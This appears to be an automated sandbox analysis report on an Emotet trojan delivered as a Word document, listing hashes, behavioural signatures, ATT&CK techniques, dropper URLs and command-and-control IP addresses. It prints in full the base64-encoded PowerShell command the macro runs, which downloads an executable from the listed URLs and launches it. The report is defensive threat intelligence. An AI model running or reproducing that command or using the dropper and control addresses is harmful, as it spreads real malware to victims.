emotet | ab0044f2f254b4928a9ce9ae9a0d1cb2217f5f4b23c1d6378286dcf834db631a

General

Target

SecuriteInfo.com.Exploit.Siggen2.13129.30925.2274.doc
Size

174KB
MD5

1307aef9d3541d47a9d2e483a3a0ed8c
SHA1

97030a06fa760a67b316e4f34aa98ff7ab4bea86
SHA256

ab0044f2f254b4928a9ce9ae9a0d1cb2217f5f4b23c1d6378286dcf834db631a
SHA512

7d791d0320eb9366cf7918cf25015cadc5c23feebb839ca6bd61d8f2ec574bbcf7ff1244139b09bfe6848c18b282ea8a468f5f6e194b12b3182f0121b375add4

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://rikotut.net/rikotut4/vka_spx_tlz/

exe.dropper

http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/

exe.dropper

http://rivcon.net/images/ze1_r8_3jdpf63/

exe.dropper

http://rollingturtle.com/music/isef_vmr_p/

exe.dropper

http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Executes dropped EXE 2 IoCs

Processes:

174.exedllhst3g.exe

pid process

908 174.exe
1492 dllhst3g.exe

pid	process
908	174.exe
1492	dllhst3g.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/908-10-0x0000000000760000-0x000000000076C000-memory.dmp	emotet
behavioral2/memory/908-10-0x0000000000760000-0x000000000076C000-memory.dmp	emotet
behavioral2/memory/1492-13-0x00000000006A0000-0x00000000006AC000-memory.dmp	emotet
behavioral2/memory/1492-13-0x00000000006A0000-0x00000000006AC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

174.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\BackgroundMediaPolicy\dllhst3g.exe 174.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\BackgroundMediaPolicy\dllhst3g.exe	174.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE174.exedllhst3g.exe

pid	process
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
3932	WINWORD.EXE
908	174.exe
1492	dllhst3g.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3932 WINWORD.EXE
3932 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4012	3608	powersheLL.exe

Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

11 4012 powersheLL.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 4012 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exedllhst3g.exe

pid process

4012 powersheLL.exe
4012 powersheLL.exe
4012 powersheLL.exe
1492 dllhst3g.exe
1492 dllhst3g.exe
1492 dllhst3g.exe
1492 dllhst3g.exe

flow	pid	process
11	4012	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	4012	powersheLL.exe

pid	process
4012	powersheLL.exe
4012	powersheLL.exe
4012	powersheLL.exe
1492	dllhst3g.exe
1492	dllhst3g.exe
1492	dllhst3g.exe
1492	dllhst3g.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

174.exe

description	pid	process	target process
PID 908 wrote to memory of 1492	908	174.exe	dllhst3g.exe
PID 908 wrote to memory of 1492	908	174.exe	dllhst3g.exe
PID 908 wrote to memory of 1492	908	174.exe	dllhst3g.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.13129.30925.2274.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:3932

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4012

C:\Users\Admin\174.exe
C:\Users\Admin\174.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\SysWOW64\BackgroundMediaPolicy\dllhst3g.exe
"C:\Windows\SysWOW64\BackgroundMediaPolicy\dllhst3g.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:1492

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\174.exe

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C:\Users\Admin\174.exe

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C:\Windows\SysWOW64\BackgroundMediaPolicy\dllhst3g.exe

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memory/908-10-0x0000000000760000-0x000000000076C000-memory.dmp

Filesize
48KB

Download
memory/1492-13-0x00000000006A0000-0x00000000006AC000-memory.dmp

Filesize
48KB

Download
memory/1492-11-0x0000000000000000-mapping.dmp

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memory/3932-3-0x000002185A5D5000-0x000002185A5E6000-memory.dmp

Filesize
68KB

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memory/3932-7-0x000002185A7B2000-0x000002185A7BA000-memory.dmp

Filesize
32KB

Download
memory/3932-6-0x000002185A7BA000-0x000002185A7BF000-memory.dmp

Filesize
20KB

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memory/3932-5-0x000002185A7BA000-0x000002185A7BF000-memory.dmp

Filesize
20KB

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memory/3932-4-0x0000021858147000-0x0000021858156000-memory.dmp

Filesize
60KB

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memory/3932-0-0x000002185A5D5000-0x000002185A5E6000-memory.dmp

Filesize
68KB

Download
memory/3932-2-0x000002185A5D5000-0x000002185A5E6000-memory.dmp

Filesize
68KB

Download
memory/3932-1-0x000002185A5D5000-0x000002185A5E6000-memory.dmp

Filesize
68KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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